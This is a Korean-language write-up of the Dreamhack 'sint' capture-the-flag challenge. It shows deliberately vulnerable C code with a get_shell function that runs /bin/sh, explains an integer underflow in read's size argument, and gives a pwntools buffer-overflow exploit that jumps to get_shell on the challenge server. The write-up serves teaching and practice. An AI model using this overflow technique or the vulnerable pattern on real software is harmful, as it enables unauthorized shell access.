sint.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
checksec
exploit
설계
get_shell
함수를 실행하는 것이 목표이다.
size
를 입력받고, size-1
만큼 buf
를 read한다.
여기서 size
는 0이상 255이하여야만 한다.
read
의 3번째 인자는 unsigned int
이기 때문에 무조건 0 또는 자연수이다. 따라서 size
를 0으로 준다면 -1
이 unsigned int에서 엄청나게 큰 자연수로 바뀔 것이다.
- 디스어셈블 결과
buf
의 위치는 [ebp-0x100]
이므로 RET
과 0x104
만큼 차이가 난다.
카나리도 없으므로 바로 buffer overflow가 일어나게 하면 될 것이다.
exploit
from pwn import *
p = remote('host3.dreamhack.games', 14314)
e = ELF('./sint')
get_shell = e.symbols['get_shell']
p.sendlineafter(b'Size: ', b'0')
buf = b'A' * 0x104 + p32(get_shell)
p.sendafter(b'Data: ', buf)
p.interactive()